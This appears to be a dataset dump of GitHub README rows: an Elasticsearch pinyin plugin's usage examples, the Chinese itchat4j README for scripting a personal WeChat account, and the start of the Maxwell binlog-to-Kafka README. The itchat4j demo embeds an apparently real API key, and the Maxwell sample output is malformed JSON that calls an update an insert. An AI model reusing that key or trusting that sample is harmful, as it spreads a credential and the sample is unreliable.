"start_offset" : 2,
"end_offset" : 3,
"type" : "word",
"position" : 2
},
{
"token" : "刘德华",
"start_offset" : 0,
"end_offset" : 3,
"type" : "word",
"position" : 3
},
{
"token" : "ldh",
"start_offset" : 0,
"end_offset" : 3,
"type" : "word",
"position" : 4
}
]
}
</pre>
3.Create mapping
<pre>
POST /medcl/_mapping
{
"properties": {
"name": {
"type": "keyword",
"fields": {
"pinyin": {
"type": "text",
"store": false,
"term_vector": "with_offsets",
"analyzer": "pinyin_analyzer",
"boost": 10
}
}
}
}
}
</pre>
4.Indexing
<pre>
POST /medcl/_create/andy
{"name":"刘德华"}
</pre>
5.Let's search
<pre>
curl http://localhost:9200/medcl/_search?q=name:%E5%88%98%E5%BE%B7%E5%8D%8E
curl http://localhost:9200/medcl/_search?q=name.pinyin:%e5%88%98%e5%be%b7
curl http://localhost:9200/medcl/_search?q=name.pinyin:liu
curl http://localhost:9200/medcl/_search?q=name.pinyin:ldh
curl http://localhost:9200/medcl/_search?q=name.pinyin:de+hua
</pre>
6.Using Pinyin-TokenFilter
<pre>
PUT /medcl1/
{
"settings" : {
"analysis" : {
"analyzer" : {
"user_name_analyzer" : {
"tokenizer" : "whitespace",
"filter" : "pinyin_first_letter_and_full_pinyin_filter"
}
},
"filter" : {
"pinyin_first_letter_and_full_pinyin_filter" : {
"type" : "pinyin",
"keep_first_letter" : true,
"keep_full_pinyin" : false,
"keep_none_chinese" : true,
"keep_original" : false,
"limit_first_letter_length" : 16,
"lowercase" : true,
"trim_whitespace" : true,
"keep_none_chinese_in_first_letter" : true
}
}
}
}
}
</pre>
Token Test:刘德华 张学友 郭富城 黎明 四大天王
<pre>
GET /medcl1/_analyze
{
"text": ["刘德华 张学友 郭富城 黎明 四大天王"],
"analyzer": "user_name_analyzer"
}
</pre>
<pre>
{
"tokens" : [
{
"token" : "ldh",
"start_offset" : 0,
"end_offset" : 3,
"type" : "word",
"position" : 0
},
{
"token" : "zxy",
"start_offset" : 4,
"end_offset" : 7,
"type" : "word",
"position" : 1
},
{
"token" : "gfc",
"start_offset" : 8,
"end_offset" : 11,
"type" : "word",
"position" : 2
},
{
"token" : "lm",
"start_offset" : 12,
"end_offset" : 14,
"type" : "word",
"position" : 3
},
{
"token" : "sdtw",
"start_offset" : 15,
"end_offset" : 19,
"type" : "word",
"position" : 4
}
]
}
</pre>
7.Used in phrase query
- option 1
<pre>
PUT /medcl2/
{
"settings" : {
"analysis" : {
"analyzer" : {
"pinyin_analyzer" : {
"tokenizer" : "my_pinyin"
}
},
"tokenizer" : {
"my_pinyin" : {
"type" : "pinyin",
"keep_first_letter":false,
"keep_separate_first_letter" : false,
"keep_full_pinyin" : true,
"keep_original" : false,
"limit_first_letter_length" : 16,
"lowercase" : true
}
}
}
}
}
GET /medcl2/_search
{
"query": {"match_phrase": {
"name.pinyin": "刘德华"
}}
}
</pre>
- option 2
<pre>
PUT /medcl3/
{
"settings" : {
"analysis" : {
"analyzer" : {
"pinyin_analyzer" : {
"tokenizer" : "my_pinyin"
}
},
"tokenizer" : {
"my_pinyin" : {
"type" : "pinyin",
"keep_first_letter":true,
"keep_separate_first_letter" : true,
"keep_full_pinyin" : true,
"keep_original" : false,
"limit_first_letter_length" : 16,
"lowercase" : true
}
}
}
}
}
POST /medcl3/_mapping
{
"properties": {
"name": {
"type": "keyword",
"fields": {
"pinyin": {
"type": "text",
"store": false,
"term_vector": "with_offsets",
"analyzer": "pinyin_analyzer",
"boost": 10
}
}
}
}
}
GET /medcl3/_analyze
{
"text": ["刘德华"],
"analyzer": "pinyin_analyzer"
}
POST /medcl3/_create/andy
{"name":"刘德华"}
GET /medcl3/_search
{
"query": {"match_phrase": {
"name.pinyin": "刘德h"
}}
}
GET /medcl3/_search
{
"query": {"match_phrase": {
"name.pinyin": "刘dh"
}}
}
GET /medcl3/_search
{
"query": {"match_phrase": {
"name.pinyin": "liudh"
}}
}
GET /medcl3/_search
{
"query": {"match_phrase": {
"name.pinyin": "liudeh"
}}
}
GET /medcl3/_search
{
"query": {"match_phrase": {
"name.pinyin": "liude华"
}}
}
</pre>
8.That's all, have fun.
# Community
Fell free to join the Discord server to discuss anything around this project:
[https://discord.gg/4tKTMkkvVX](https://discord.gg/4tKTMkkvVX)
# License
Copyright ©️ INFINI Labs.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
| 0 |
yaphone/itchat4j | itchat4j -- 用Java扩展个人微信号的能力 | null | # itchat4j -- 用Java扩展个人微信号的能力
### 项目地址：[itchat4j](https://github.com/yaphone/itchat4j)，该项目长期维护更新，欢迎star、fork、 pull requests、 issue。
## 示例项目程序[点击此处下载](https://github.com/yaphone/itchat4jdemo)。
### 来源
[itchat](https://github.com/littlecodersh/ItChat)是一个非常优秀的开源微信个人号接口，使用Python语言开发，提供了简单易用的API，可以很方便地对个人微信号进行扩展，实现自动回复，微信挂机机器人等，一直在关注这个项目，基于itchat开发过[一个小项目](https://github.com/yaphone/RasWxNeteaseMusic)，用来控制我的树莓派来播放音乐，效果还不错。
一直想实现一个java版本的itchat，由于工作太忙导致一拖再拖，这段时间稍微空闲了一些，仔细阅读了itchat的源码，终于完成了一个基础版本，由于主要灵感来源于itchat项目，所以这个项目的就暂时定名为[itchat4j](https://github.com/yaphone/itchat4j)吧。
## 项目介绍
> itchat是一个开源的微信个人号接口，使用Python调用微信从未如此简单。使用短短的几十行代码，你就可以完成一个能够处理所有信息的微信机器人。当然，itchat的使用远不止一个机器人，更多的功能等着你来发现，如今微信已经成为了个人社交的很大一部分，希望这个项目能够帮助你扩展你的个人的微信号、方便自己的生活。(引自itchat项目)
你可以轻松将[itchat4j](https://github.com/yaphone/itchat4j)其集成在你个人的Java应用中，无论是SpringMVC、桌面程序还是嵌入式程序，只要使用的JDK是1.7以上的版本，都可以轻松接入。玩法很多，请打开你的脑洞，比如这些：
- Just for fun，把个人微信号扩展为"公众号"，在朋友面前装个X吧。
- 集成在你的个人应用（SpringMVC、Servlet、GUI）中，为应用提供更强的服务能力。
- 部署在你的服务器上，将监控信息、日志发送到你的微信号。
- 微信机器人，专业陪聊工具
- 控制树莓派、智能家居、智能硬件等具有开放接口的设备
- Anything you want ...
## 更新日志
- 2017-7-21：1.消息体封装为POJO类，更易操作。 2.增加处理文件消息接口。
- 2017-6-28：增加被动添加好友功能。
- 2017-6-23：增加获取群好友昵称功能，修复已知问题。
- 2017-6-16：增加微信状态维护。
- 2017-6-13：修复获取群列表为空问题，增加根据群ID获取群成员列表方法。
## API说明
*项目在不断更新中，API会有变动，请以具体代码为准*
目前在`package cn.zhouyafeng.itchat4j.api`包中有两个静态类，即`MessageTools`和`WechatTools`，目前对外暴露的方法有：
#### 1.获取好友昵称列表 WechatTools.getContactNickNameList()
此方法会返回好友昵称列表，其函数声明为：
```
public static List<String> getContactNickNameList()
```
#### 2.获取好友完整信息列表 WechatTools.getContactList()
此方法会返回好友的完整信息，如昵称、备注、地区、头像链接等，其函数声明为：
```java
public static List<JSONObject> getContactList()
```
#### 3.获取群列表 WechatTools.getGroupIdList()
群列表与好友列表不同，在登陆后群列表其实是空的，只有主动发送消息或者收到一条群消息时，才能获取到这个群的信息，群列表会记录这个群的id，其格式为`@@d052d34b9c9228830363013ee53deb461404f80ea353dbdd8fc9391cbf5f1c46`。调用此方法会返回已知的群列表。其声明函数为：
```
public static List<String> getGroupIdList()
```
#### 4.根据群ID获取群成员WechatTools.getMemberListByGroupId()
此方法根据群ID（格式为`@@d052d34b9c9228830363013ee53deb461404f80ea353dbdd8fc9391cbf5f1c46`）获取群成员列表。其函数声明为：
```java
public static JSONArray getMemberListByGroupId(String groupId)
```
#### 5.退出微信 WechatTools.logout()
退出itchat4j，不再处理消息，其函数声明为:
```
public static void logout()
```
#### 6.获取微信在线状态WechatTools.getWechatStatus()
查询微信在线状态，在线返回`true`，离线返回`false`，其函数声明为
```java
public static boolean getWechatStatus()
```
#### 7.获取群昵称列表WechatTools.getGroupNickNameList()
获取群昵称列表,函数声明为：
```java
public static List<String> getGroupNickNameList()
```
#### 8.根据用户昵称修改用户备注MessageTools.remarkNameByNickName(String nickName, String remName)
根据用户昵称修改用户备注名称，其函数声明为：
```
public static void remarkNameByNickName(String nickName, String remName)
```
#### 9. 根据好友昵称发送文本消息，MessageTools.sendMsgByNickName(String text, String nickName)
此方法根据用户昵称发送文本消息，注意，用户需在你的好友列表里，否则发送失败，如果你的好友列表里有存在昵称一样的多个用户，则只会给第一个匹配的好友发送消息。方法接受两个参数，`text`为要发送的文本消息，`nickName`为要发送消息的好友昵称，成功发送时返回true，失败返回false。其函数声明为：
```
public static boolean sendMsgByNickName(String text, String nickName)
```
#### 10.根据ID发送文本消息， MessageTools.sendMsgById(String text, String id)
根据ID发送文本消息，发送者ID可以从`msg`里通过`msg.getString("FromUserName")`获取，格式为`@@d052d34b9c9228830363013ee53deb461404f80ea353dbdd8fc9391cbf5f1c46`（群消息）或`@a257b99314d8313862cd44ab02fe0f81`（非群消息），调用此方法可向指定id发送消息。其函数声明为：
```
public static void sendMsgById(String text, String id)
```
#### 11.根据好友昵称发送图片消息，MessageTools.sendPicMsgByNickName(String nickName, String filePath)
此方法根据好友昵称发送图片消息，`filePath`为图片文件路径，如`D:/itchat4j/pic/test.jpg`，成功返回true，失败返回false。其函数声明为：
```
public static boolean sendPicMsgByNickName(String nickName, String filePath)
```
#### 12.根据ID发送图片消息，MessageTools.sendPicMsgByUserId(String userId, String filePath)
此方法根据好友ID发送图片消息，filePath`为图片文件路径，如`D:/itchat4j/pic/test.jpg`，成功返回true，失败返回false。其函数声明为：
```
public static boolean sendPicMsgByUserId(String userId, String filePath)
```
#### 13.根据好友昵称发送文件消息，MessageTools.sendFileMsgByNickName(String nickName, String filePath)
此方法根据好友昵称发送文件消息，文件可以为多种类型，如txt、PDF、小视频、语音、excel、docx等，发送时请保证文件后缀名正确。成功返回true，失败返回false。其函数声明为：
```
public static boolean sendPicFileByNickName(String nickName, String filePath)
```
#### 14.根据ID发送文件消息，MessageTools.sendFileMsgByNickName(String nickName, String filePath)
此方法根据好友昵称发送文件消息，成功返回true，失败返回false。其函数声明为：
```
public static boolean sendFileMsgByUserId(String userId, String filePath)
```
#### 15.处理好友添加请求，MessageTools.addFriend(BaseMsg msg, boolean accept)
当收到好友添加请求时，可调用此函数进行处理，msg为收到的好友添加请求消息，accept传true为接受好友请求，false为拒绝，其函数声明为：
```java
public static void addFriend(BaseMsg msg, boolean accept)
```
## TODO List 即将支持/正在开发
- 拉人进群功能
## 如何使用
*项目在不断更新中，导入后的项目结构会有变动*
itchat4j是一个Maven项目，下载源码后，可以以Maven项目的形式导入，导入后的项目结构如下图:
src/main/java是itchat4j的项目源码，在src/test/java目录下有两个小Demo：一个是基本功能的小示例，当前，itchat4j可以处理四类基本信息，文本、语音、图片和小视频，该示例在收到文本信息后自动回复，回复内容为收到的文本，当收到图片、语音、小视频时可以保存到指定的目录；一个是微信接入图灵机器人的小例子，如下图。
### 微信机器人使用截图
## 消息格式
对于收到的消息，itchat4j将其以POJO类的形式进行了封装，即在`package cn.zhouyafeng.itchat4j.beans`包中的`BaseMsg类`，其声明如下：
```java
/**
* 收到的微信消息
*
* @author https://github.com/yaphone
* @date 创建时间：2017年7月3日 下午10:28:06
* @version 1.0
*
*/
public class BaseMsg implements Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
private int subMsgType;
private int voiceLength;
private String fileName;
private int imgHeight;
private String toUserName;
private int hasProductId;
private int imgStatus;
private String url;
private int imgWidth;
private int forwardFlag;
private int status;
private String Ticket;
/** 推荐消息报文 **/
private RecommendInfo recommendInfo;
private long createTime;
private String newMsgId;
/** 文本消息内容 **/
private String text;
/** 消息类型 **/
private int msgType;
/** 是否为群消息 **/
private boolean groupMsg;
private String msgId;
private int statusNotifyCode;
private AppInfo appInfo;
private int appMsgType;
private String Type;
private int playLength;
private String mediaId;
private String content;
private String statusNotifyUserName;
/** 消息发送者ID **/
private String fromUserName;
private String oriContent;
private String fileSize;
//省略getter/setter方法
}
```
## 如何使用
如果你想引入自己的项目，请切换到`pom.xml`目录，执行`mvn package`命令，将生成的`itchat4j`的jar包引入即可。
## 简单入门教程
*项目不断更新中，教程仅供参考*
接下来，通过两个小Demo来演示一下如何使用itchat4j来扩展你的个人微信号，入门教程的项目源码可以从[此处下载](https://github.com/yaphone/itchat4jdemo)。以下几个demo在项目的`src/test/java`路径下可以找到，项目不断更新，请以实际代码为准。
### Demo1: SimpleDemo
这个小Demo将会将收到的文本消息发送给发件人，如果是图片、语音或者小视频消息，将会保存在我们指定的路径下。
首先需要新建一个类来实现`IMsgHandlerFace`这个接口，这个类要做的就是我们需要完成的逻辑，该接口有若干个需要自己实现的方法，如`textMsgHandle`用于处理文本信息，`picMsgHandle`用于处理图片信息，`viedoMsgHandle`用于处理小视频信息，`voiceMsgHandle`用于处理语音信息等，代码如下：
```java
package cn.zhouyafeng.itchat4j.face;
import cn.zhouyafeng.itchat4j.beans.BaseMsg;
/**
* 消息处理接口
*
* @author https://github.com/yaphone
* @date 创建时间：2017年4月20日 上午12:13:49
* @version 1.0
*
*/
public interface IMsgHandlerFace {
/**
*
* @author https://github.com/yaphone
* @date 2017年4月20日 上午12:15:00
* @param msg
* @return
*/
public String textMsgHandle(BaseMsg msg);
/**
* 处理图片消息
*
* @author https://github.com/yaphone
* @date 2017年4月21日 下午11:07:06
* @param msg
* @return
*/
public String picMsgHandle(BaseMsg msg);
/**
* 处理声音消息
*
* @author https://github.com/yaphone
* @date 2017年4月22日 上午12:09:44
* @param msg
* @return
*/
public String voiceMsgHandle(BaseMsg msg);
/**
* 处理小视频消息
*
* @author https://github.com/yaphone
* @date 2017年4月23日 下午12:19:50
* @param msg
* @return
*/
public String viedoMsgHandle(BaseMsg msg);
/**
* 处理名片消息
*
* @author https://github.com/yaphone
* @date 2017年5月1日 上午12:50:50
* @param msg
* @return
*/
public String nameCardMsgHandle(BaseMsg msg);
/**
* 处理系统消息
*
* @author Relyn
* @date 2017年6月21日17:43:51
* @param msg
* @return
*/
public void sysMsgHandle(BaseMsg msg);
/**
* 处理确认添加好友消息
*
* @date 2017年6月28日 下午10:15:30
* @param msg
* @return
*/
public String verifyAddFriendMsgHandle(BaseMsg msg);
/**
* 处理收到的文件消息
*
* @date 2017年7月21日 下午11:59:14
* @param msg
* @return
*/
public String mediaMsgHandle(BaseMsg msg);
}
```
在每个接口方法中，需要处理的消息均为上面介绍的BaseMsg的POJO类，在`textMsgHandler`中，通过`msg.getText()`就可以获取收到的文本信息，然后作进一步处理，比如接入图灵机器人、消息自动回复等，我们需要在这个方法中返回一个字符串，即是需要回复给好友的消息，在SimpleDemo这个示例中，我们直接回复收到的原文本消息。
在`picMsgHandle`、`voiceMsgHandle`、`viedoMsgHandle`这三个方法中，我们需要将这些消息下载下来，然后再作进一步处理，所以需要为每种类型的消息提供一个保存路径，然后调用`DownloadTools.getDownloadFn`方法可以将这三种类型的消息下载下来。`DownloadTools.getDownloadFn`方法提供下载图片、语音、小视频的功能，需要三个参数，第一个参数为我们收到的msg，第二个参数为`MsgType`，也就是消息类型，图片、语音、小视频分别对应`MsgTypeEnum.PIC.getType()`、`MsgTypeEnum.VOICE.getType()`、`MsgTypeEnum.VIEDO.getType()`，然后第三个参数就是保存这些消息的路径了。
另外还有一些需要处理的其它消息，如系统消息、名片消息、处理好友请求消息等，按业务需求进行实现即可。
就不多说了，让代码和注释君自述吧，有不明白的地方，可以在Issue中提出来。
```java
package cn.zhouyafeng.itchat4j.demo.demo1;
import java.io.File;
import java.text.SimpleDateFormat;
import java.util.Date;
import org.apache.log4j.Logger;
import cn.zhouyafeng.itchat4j.api.MessageTools;
import cn.zhouyafeng.itchat4j.api.WechatTools;
import cn.zhouyafeng.itchat4j.beans.BaseMsg;
import cn.zhouyafeng.itchat4j.beans.RecommendInfo;
import cn.zhouyafeng.itchat4j.core.Core;
import cn.zhouyafeng.itchat4j.face.IMsgHandlerFace;
import cn.zhouyafeng.itchat4j.utils.enums.MsgTypeEnum;
import cn.zhouyafeng.itchat4j.utils.tools.DownloadTools;
/**
* 简单示例程序，收到文本信息自动回复原信息，收到图片、语音、小视频后根据路径自动保存
*
* @author https://github.com/yaphone
* @date 创建时间：2017年4月25日 上午12:18:09
* @version 1.0
*
*/
public class SimpleDemo implements IMsgHandlerFace {
Logger LOG = Logger.getLogger(SimpleDemo.class);
@Override
public String textMsgHandle(BaseMsg msg) {
// String docFilePath = "D:/itchat4j/pic/1.jpg"; // 这里是需要发送的文件的路径
if (!msg.isGroupMsg()) { // 群消息不处理
// String userId = msg.getString("FromUserName");
// MessageTools.sendFileMsgByUserId(userId, docFilePath); // 发送文件
// MessageTools.sendPicMsgByUserId(userId, docFilePath);
String text = msg.getText(); // 发送文本消息，也可调用MessageTools.sendFileMsgByUserId(userId,text);
LOG.info(text);
if (text.equals("111")) {
WechatTools.logout();
}
if (text.equals("222")) {
WechatTools.remarkNameByNickName("yaphone", "Hello");
}
if (text.equals("333")) { // 测试群列表
System.out.print(WechatTools.getGroupNickNameList());
System.out.print(WechatTools.getGroupIdList());
System.out.print(Core.getInstance().getGroupMemeberMap());
}
return text;
}
return null;
}
@Override
public String picMsgHandle(BaseMsg msg) {
String fileName = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss").format(new Date());// 这里使用收到图片的时间作为文件名
String picPath = "D://itchat4j/pic" + File.separator + fileName + ".jpg"; // 调用此方法来保存图片
DownloadTools.getDownloadFn(msg, MsgTypeEnum.PIC.getType(), picPath); // 保存图片的路径
return "图片保存成功";
}
@Override
public String voiceMsgHandle(BaseMsg msg) {
String fileName = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss").format(new Date());
String voicePath = "D://itchat4j/voice" + File.separator + fileName + ".mp3";
DownloadTools.getDownloadFn(msg, MsgTypeEnum.VOICE.getType(), voicePath);
return "声音保存成功";
}
@Override
public String viedoMsgHandle(BaseMsg msg) {
String fileName = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss").format(new Date());
String viedoPath = "D://itchat4j/viedo" + File.separator + fileName + ".mp4";
DownloadTools.getDownloadFn(msg, MsgTypeEnum.VIEDO.getType(), viedoPath);
return "视频保存成功";
}
@Override
public String nameCardMsgHandle(BaseMsg msg) {
return "收到名片消息";
}
@Override
public void sysMsgHandle(BaseMsg msg) { // 收到系统消息
String text = msg.getContent();
LOG.info(text);
}
@Override
public String verifyAddFriendMsgHandle(BaseMsg msg) {
MessageTools.addFriend(msg, true); // 同意好友请求，false为不接受好友请求
RecommendInfo recommendInfo = msg.getRecommendInfo();
String nickName = recommendInfo.getNickName();
String province = recommendInfo.getProvince();
String city = recommendInfo.getCity();
String text = "你好，来自" + province + city + "的" + nickName + "， 欢迎添加我为好友！";
return text;
}
}
```
之后我们需要将实现`IMsgHandlerFace`接口的类【注入】到`Wechat`中来启动服务，`Wechat`是服务的主入口，其构造函数接受两个参数，一个是我们刚才实现`IMsgHandlerFace`接口的类，另一个是保存登陆二维码图片的路径。之后在`Wechat`对象上调用`start()`方法来启动服务，会在我们刚才传入的路径下生成一个`QR.jpg`文件，即是登陆二维码，通过手机微信扫描后即可登陆，服务启动，处理逻辑开始工作。这里有一点需要注意：*二维码图片如果超过一定时间未扫描会过期，过期时会自动更新，所以你可能需要重新打开图片*。
额，文字还是太苍白，让代码和注释君自述吧。
```Java
/**
*
* @author https://github.com/yaphone
* @date 创建时间：2017年4月28日 上午12:44:10
* @version 1.0
*
*/
public class MyTest {
public static void main(String[] args) {
String qrPath = "D://itchat4j//login"; // 保存登陆二维码图片的路径，这里需要在本地新建目录
IMsgHandlerFace msgHandler = new SimpleDemo(); // 实现IMsgHandlerFace接口的类
Wechat wechat = new Wechat(msgHandler, qrPath); // 【注入】
wechat.start(); // 启动服务，会在qrPath下生成一张二维码图片，扫描即可登陆，注意，二维码图片如果超过一定时间未扫描会过期，过期时会自动更新，所以你可能需要重新打开图片
}
}
```
### Demo2 图灵机器人
> 图灵机器人大脑具备强大的中文语义分析能力，可准确理解中文含义并作出回应，是最擅长聊中文的机器人大脑，赋予软硬件产品自然流畅的人机对话能力。(引自百度百科)
这个示例中我们接入图灵机器人的API，将收到的好友的文本信息发送给图灵机器人，并将机器人回复的消息发送给好友，接下来还是把舞台交代码和注释君吧。
```Java
package cn.zhouyafeng.itchat4j.demo.demo2;
import java.io.File;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.logging.Logger;
import org.apache.http.HttpEntity;
import org.apache.http.util.EntityUtils;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import cn.zhouyafeng.itchat4j.Wechat;
import cn.zhouyafeng.itchat4j.beans.BaseMsg;
import cn.zhouyafeng.itchat4j.core.Core;
import cn.zhouyafeng.itchat4j.face.IMsgHandlerFace;
import cn.zhouyafeng.itchat4j.utils.MyHttpClient;
import cn.zhouyafeng.itchat4j.utils.enums.MsgTypeEnum;
import cn.zhouyafeng.itchat4j.utils.tools.DownloadTools;
/**
* 图灵机器人示例
*
* @author https://github.com/yaphone
* @date 创建时间：2017年4月24日 上午12:13:26
* @version 1.0
*
*/
public class TulingRobot implements IMsgHandlerFace {
Logger logger = Logger.getLogger("TulingRobot");
MyHttpClient myHttpClient = Core.getInstance().getMyHttpClient();
String url = "http://www.tuling123.com/openapi/api";
String apiKey = "597b34bea4ec4c85a775c469c84b6817"; // 这里是我申请的图灵机器人API接口，每天只能5000次调用，建议自己去申请一个，免费的:)
@Override
public String textMsgHandle(BaseMsg msg) {
String result = "";
String text = msg.getText();
Map<String, String> paramMap = new HashMap<String, String>();
paramMap.put("key", apiKey);
paramMap.put("info", text);
paramMap.put("userid", "123456");
String paramStr = JSON.toJSONString(paramMap);
try {
HttpEntity entity = myHttpClient.doPost(url, paramStr);
result = EntityUtils.toString(entity, "UTF-8");
JSONObject obj = JSON.parseObject(result);
if (obj.getString("code").equals("100000")) {
result = obj.getString("text");
} else {
result = "处理有误";
}
} catch (Exception e) {
logger.info(e.getMessage());
}
return result;
}
@Override
public String picMsgHandle(BaseMsg msg) {
return "收到图片";
}
@Override
public String voiceMsgHandle(BaseMsg msg) {
String fileName = String.valueOf(new Date().getTime());
String voicePath = "D://itchat4j/voice" + File.separator + fileName + ".mp3";
DownloadTools.getDownloadFn(msg, MsgTypeEnum.VOICE.getType(), voicePath);
return "收到语音";
}
@Override
public String viedoMsgHandle(BaseMsg msg) {
String fileName = String.valueOf(new Date().getTime());
String viedoPath = "D://itchat4j/viedo" + File.separator + fileName + ".mp4";
DownloadTools.getDownloadFn(msg, MsgTypeEnum.VIEDO.getType(), viedoPath);
return "收到视频";
}
public static void main(String[] args) {
IMsgHandlerFace msgHandler = new TulingRobot();
Wechat wechat = new Wechat(msgHandler, "D://itchat4j/login");
wechat.start();
}
@Override
public String nameCardMsgHandle(BaseMsg msg) {
// TODO Auto-generated method stub
return null;
}
@Override
public void sysMsgHandle(BaseMsg msg) {
// TODO Auto-generated method stub
}
@Override
public String verifyAddFriendMsgHandle(BaseMsg msg) {
// TODO Auto-generated method stub
return null;
}
@Override
public String mediaMsgHandle(BaseMsg msg) {
// TODO Auto-generated method stub
return null;
}
}
```
### Demo3 获取好友头像图片示例
代码自释吧，需要注意的是需要自己设定保存头像文件的路径，收到`111`消息后，将会下载所有好友的头像。
```java
package cn.zhouyafeng.itchat4j.demo.demo3;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.List;
import org.apache.http.HttpEntity;
import org.apache.http.util.EntityUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.alibaba.fastjson.JSONObject;
import cn.zhouyafeng.itchat4j.Wechat;
import cn.zhouyafeng.itchat4j.api.WechatTools;
import cn.zhouyafeng.itchat4j.beans.BaseMsg;
import cn.zhouyafeng.itchat4j.core.Core;
import cn.zhouyafeng.itchat4j.face.IMsgHandlerFace;
import cn.zhouyafeng.itchat4j.utils.MyHttpClient;
import cn.zhouyafeng.itchat4j.utils.enums.StorageLoginInfoEnum;
/**
* 此示例演示如何获取所有好友的头像
*
* @author https://github.com/yaphone
* @date 创建时间：2017年6月26日 下午11:27:46
* @version 1.0
*
*/
public class PicYourFriends implements IMsgHandlerFace {
private static Logger LOG = LoggerFactory.getLogger(PicYourFriends.class);
private static final Core core = Core.getInstance();
private static final MyHttpClient myHttpClient = core.getMyHttpClient();
private static final String path = "D://itchat4j//head"; // 这里需要设置保存头像的路径
@Override
public String textMsgHandle(BaseMsg msg) {
if (!msg.isGroupMsg()) { // 群消息不处理
String text = msg.getText(); // 发送文本消息，也可调用MessageTools.sendFileMsgByUserId(userId,text);
String baseUrl = "https://" + core.getIndexUrl(); // 基础URL
String skey = (String) core.getLoginInfo().get(StorageLoginInfoEnum.skey.getKey());
if (text.equals("111")) {
LOG.info("开始下载好友头像");
List<JSONObject> friends = WechatTools.getContactList();
for (int i = 0; i < friends.size(); i++) {
JSONObject friend = friends.get(i);
String url = baseUrl + friend.getString("HeadImgUrl") + skey;
// String fileName = friend.getString("NickName");
String headPicPath = path + File.separator + i + ".jpg";
HttpEntity entity = myHttpClient.doGet(url, null, true, null);
try {
OutputStream out = new FileOutputStream(headPicPath);
byte[] bytes = EntityUtils.toByteArray(entity);
out.write(bytes);
out.flush();
out.close();
} catch (Exception e) {
LOG.info(e.getMessage());
}
}
}
}
return null;
}
@Override
public String picMsgHandle(BaseMsg msg) {
// TODO Auto-generated method stub
return null;
}
@Override
public String voiceMsgHandle(BaseMsg msg) {
// TODO Auto-generated method stub
return null;
}
@Override
public String viedoMsgHandle(BaseMsg msg) {
// TODO Auto-generated method stub
return null;
}
@Override
public String nameCardMsgHandle(BaseMsg msg) {
// TODO Auto-generated method stub
return null;
}
@Override
public void sysMsgHandle(BaseMsg msg) {
// TODO Auto-generated method stub
}
public static void main(String[] args) {
String qrPath = "D://itchat4j//login"; // 保存登陆二维码图片的路径，这里需要在本地新建目录
IMsgHandlerFace msgHandler = new PicYourFriends(); // 实现IMsgHandlerFace接口的类
Wechat wechat = new Wechat(msgHandler, qrPath); // 【注入】
wechat.start(); // 启动服务，会在qrPath下生成一张二维码图片，扫描即可登陆，注意，二维码图片如果超过一定时间未扫描会过期，过期时会自动更新，所以你可能需要重新打开图片
}
@Override
public String verifyAddFriendMsgHandle(BaseMsg msg) {
// TODO Auto-generated method stub
return null;
}
@Override
public String mediaMsgHandle(BaseMsg msg) {
// TODO Auto-generated method stub
return null;
}
}
```
### 其它
以上几个小Demo只是起到抛砖引玉的作用，请打开你的脑洞吧，朋友。
### itchat4j集成在SpringMVC应用中
若需要将itchat4j集成在自己的应用中，打开项目pom.xml文件所在目录，运行`mvn package`，将生成的itchat4j的jar包引入即可。
这个示例要讲起来就比较困难了，因为SpringMVC本身就是一个复杂的东西，先在这里挖个坑吧。其实在SpringMVC中集成与上面两个示例并没有太大的不同，我的个人博客是基于SpringMVC的，我已经将集成在这个项目里了，这样我就可以通过微信来更新我的博客了。详细的就不多说了，大家先看看这个项目结构吧。
其中`MsgHandler`就是我处理微信消息的逻辑，略复杂，就不贴代码了。`WechatService`就是将`MsgHandler`“注入”到`Wechat`类中，与上面两个示例的作用是一样的，贴一下`WechatService`的代码：
```Java
/**
* Wechat服务实现类
*
* @author https://github.com/yaphone
* @date 创建时间：2017年4月29日 下午7:44:01
* @version 1.0
*
*/
@Service("wechatService")
public class WechatService implements IWechatServiceFace {
@Value("${qrPath}")
private String qrPath;
@Override
public void login() {
MsgHandler msgHandler = new MsgHandler();
Wechat wechat = new Wechat(msgHandler, qrPath);
wechat.start();
}
}
```
## 类似项目
[itchat](https://github.com/littlecodersh/ItChat) ：优秀的、基于Python的微信个人号API，同时也是本项目的灵感之源。
[WeixinBot](https://github.com/Urinx/WeixinBot): 网页版微信API，包含终端版微信及微信机器人
## 致谢：
itchat4j开源后，收到很多朋友的建议，对ithcat4j改进做出了很多帮助，在此表示感谢！
[@jasonTangxd](https://github.com/jasonTangxd?tab=overview&from=2017-05-15)，项目结构调整。
[@libre818](https://github.com/libre818)。
@QQ群好友（北极心 851668663）,增加修改好友备注名方法。
@QQ群好友（beyond_12345@126.com）
以及[每位PR的朋友](https://github.com/yaphone/itchat4j/graphs/contributors)！
## 问题和建议
本项目长期更新、维护，功能不断扩展与完善中，欢迎star。
项目使用过程中遇到问题，或者有好的建议，欢迎随时反馈。
任何问题或者建议都可以在Issue中提出来，也可以加入QQ群讨论：636365179
| 0 |
zendesk/maxwell | Maxwell's daemon, a mysql-to-json kafka producer | null | This is __Maxwell's daemon__, a [change data capture](https://www.confluent.io/blog/how-change-data-capture-works-patterns-solutions-implementation/) application
that reads MySQL binlogs and writes data changes as JSON to Kafka, Kinesis, and other streaming platforms.
[↓ Download](https://github.com/zendesk/maxwell/releases/download/v1.41.1/maxwell-1.41.1.tar.gz) \|
[⚝ Source / Community](https://github.com/zendesk/maxwell) \|
[☝ Getting Started](/quickstart) \|
[☷ Reference](/config)
__What's it for?__
- ETL of all sorts
- maintaining an audit log of all changes to your database
- cache building/expiring
- search indexing
- inter-service communication
__It goes like this:__
```
mysql> update `test`.`maxwell` set mycol = 55, daemon = 'Stanislaw Lem';
maxwell -> kafka:
{
"database": "test",
"table": "maxwell",
"type": "insert",
"ts": 1449786310,
"data": { "id":1, "daemon": "Stanislaw Lem", "mycol": 55 },
"old": { "mycol":, 23, "daemon": "what once was" }
}
```
